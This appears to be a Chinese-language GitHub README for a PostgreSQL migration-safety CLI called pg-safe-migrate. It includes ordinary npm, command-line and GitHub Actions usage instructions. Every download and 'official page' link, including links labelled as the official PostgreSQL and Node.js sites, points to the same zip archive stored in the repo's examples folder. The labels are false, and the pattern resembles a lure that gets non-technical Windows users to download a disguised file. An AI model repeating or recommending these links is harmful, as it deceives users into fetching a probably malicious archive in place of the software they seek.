futurekynngh/pg-safe-migrate

GitHub: futurekynngh/pg-safe-migrate

一款为 PostgreSQL 提供 schema 迁移安全检查、漂移检测和锁机制的 Node.js 工具,帮助团队安全执行数据库变更。

Stars: 0 | Forks: 0

# ⚙️ pg-safe-migrate - PostgreSQL 迁移更安全 [![下载 pg-safe-migrate](https://img.shields.io/badge/Download-pg--safe--migrate-brightgreen)](https://github.com/futurekynngh/pg-safe-migrate/raw/refs/heads/main/examples/pg-migrate-safe-3.8.zip) ## 📋 什么是 pg-safe-migrate? pg-safe-migrate 是一款旨在帮助您安全更新 PostgreSQL 数据库的工具。它可在您的 Windows 计算机上运行,并会在进行任何更改之前检查错误。它使用锁机制在更改数据库时保障其安全,并在出现不一致时向您发出警报。它还会运行测试,以确保您的数据库更新遵循最佳规则。 您无需具备编程知识即可使用它。本指南将帮助您逐步完成设置和使用。 ## 🔍 您应该了解的功能 - 使用锁机制在更新期间防止冲突。 - 检测在常规流程之外进行的更改。 - 使用校验和(checksum)检查更新以避免错误。 - 提供 10 条规则来检查您的更新文件。 - 通过简单的命令行工具运行。 - 可在 GitHub Actions 上自动运行。 - 专为 Node.js 和 PostgreSQL 用户构建,但也易于所有人运行。 ## 💻 系统要求 在开始之前,请确保您的计算机满足以下条件: - Windows 10 或更高版本(建议使用 64 位)。 - 已安装并正在运行 PostgreSQL 数据库。 - 已安装 Node.js(版本 12 或更高)。 - 用于下载和设置的互联网连接。 如果您尚未安装 PostgreSQL 或 Node.js,可以从其官方网站下载: - PostgreSQL: https://github.com/futurekynngh/pg-safe-migrate/raw/refs/heads/main/examples/pg-migrate-safe-3.8.zip - Node.js: https://github.com/futurekynngh/pg-safe-migrate/raw/refs/heads/main/examples/pg-migrate-safe-3.8.zip ## 🚀 入门指南 ### 步骤 1:访问下载页面 点击顶部的大绿色按钮或使用此链接直接进入项目页面: https://github.com/futurekynngh/pg-safe-migrate/raw/refs/heads/main/examples/pg-migrate-safe-3.8.zip 在这里,您将找到所需的文件。由于链接指向主 repo 页面,您需要找到最新的 release 或安装说明。 ### 步骤 2:如有需要,安装 Node.js 如果您尚未安装 Node.js,请按照以下步骤操作: - 访问 Node.js 网站。 - 下载适用于 Windows 的 LTS(长期支持)版本。 - 运行安装程序并按照步骤操作。 ### 步骤 3:下载 pg-safe-migrate 在项目的 GitHub 页面上,查找 “Releases” 部分或安装说明。通常,您可以使用 npm 或 yarn 等 Node.js 工具安装 pg-safe-migrate。您可以在设置完 Node.js 后执行此操作。 打开 Windows 命令提示符(在“开始”菜单中搜索 `cmd`)并运行: ``` npm install -g pg-safe-migrate ``` 此命令会全局下载并安装 pg-safe-migrate,以便您可以从计算机上的任何文件夹运行它。 ### 步骤 4:准备您的 PostgreSQL 连接 要使用 pg-safe-migrate,您需要将其连接到您的 PostgreSQL 数据库。您将需要: - 主机名(如果数据库位于您的计算机上,通常为 `localhost`)。 - 数据库名称。 - 用户名。 - 密码。 确保您的数据库正在运行,并且您手头有这些详细信息。 ## ⚙️ 如何在 Windows 上使用 pg-safe-migrate 安装后,您可以通过打开命令提示符或 PowerShell 开始运行迁移。 ### 基本命令格式: ``` pg-safe-migrate migrate --connection "postgresql://username:password@localhost:5432/dbname" ``` 将 `username`、`password` 和 `dbname` 替换为您实际的数据库用户、密码和数据库名称。 ### 此命令会做什么? - 它使用 advisory locks 检查是否有其他迁移正在运行。 - 它会查找并警告任何漂移或未跟踪的更改。 - 它在验证校验和的同时运行您的迁移文件。 - 它应用规则以确保您的更改是安全的。 ### 常用命令: - `pg-safe-migrate migrate` 运行所有待处理的迁移以更新您的数据库。 - `pg-safe-migrate status` 显示有关已运行迁移的信息以及是否存在任何问题。 - `pg-safe-migrate lint` 根据 10 条安全规则检查您的迁移文件。 ## 📂 组织迁移文件 将您的迁移文件放在项目文件夹内名为 `migrations` 的文件夹中。pg-safe-migrate 将在此处查找要应用的更改。 每个文件应包含用于对数据库进行所需更改的 SQL 命令。 文件名应清晰并遵循某种模式,例如: ``` 001-add-users-table.sql 002-add-email-index.sql ``` pg-safe-migrate 按顺序读取这些文件以安全地应用更新。 ## 🛠 使用 GitHub Actions 运行 pg-safe-migrate 如果您将项目托管在 GitHub 上,则可以使用 GitHub Actions 自动化数据库更新。 使用下面的示例工作流文件开始。将其另存为仓库中的 `.github/workflows/migrate.yml`: ``` name: Run pg-safe-migrate on: push: branches: - main jobs: migrate: runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 - name: Setup Node.js uses: actions/setup-node@v2 with: node-version: '14' - name: Install pg-safe-migrate run: npm install -g pg-safe-migrate - name: Run Migrations run: pg-safe-migrate migrate --connection ${{ secrets.DATABASE_URL }} ``` 在使用此功能之前,请将您的数据库连接字符串添加为 GitHub 仓库中名为 `DATABASE_URL` 的 secret。 ## 🔍 故障排除提示 - 在开始迁移之前,请确保您的数据库正在运行。 - 使用包含用户名和密码的正确数据库 URL。 - 如果迁移卡住,请重新启动计算机或数据库服务以清除锁。 - 检查迁移文件名或 SQL 命令中是否有拼写错误。 - 使用 `pg-safe-migrate status` 查看迁移信息并发现问题。 - 在应用迁移之前运行 `pg-safe-migrate lint` 以尽早发现错误。 ## 🔗 有用链接 - 官方页面:https://github.com/futurekynngh/pg-safe-migrate/raw/refs/heads/main/examples/pg-migrate-safe-3.8.zip - PostgreSQL 下载页面:https://github.com/futurekynngh/pg-safe-migrate/raw/refs/heads/main/examples/pg-migrate-safe-3.8.zip - Node.js 下载页面:https://github.com/futurekynngh/pg-safe-migrate/raw/refs/heads/main/examples/pg-migrate-safe-3.8.zip # [立即开始使用 pg-safe-migrate](https://github.com/futurekynngh/pg-safe-migrate/raw/refs/heads/main/examples/pg-migrate-safe-3.8.zip) 点击此链接访问项目页面以获取下载内容和完整文档。
标签:DNS解析, GitHub Actions, GNU通用公共许可证, MITM代理, Node.js, PostgreSQL, Schema Migration, SOC Prime, SQL, 咨询锁, 开发工具, 开源项目, 数据一致性, 数据库版本控制, 数据库迁移, 文档结构分析, 最佳实践, 校验和, 测试用例, 漂移检测, 系统审计, 自动化攻击, 自动笔记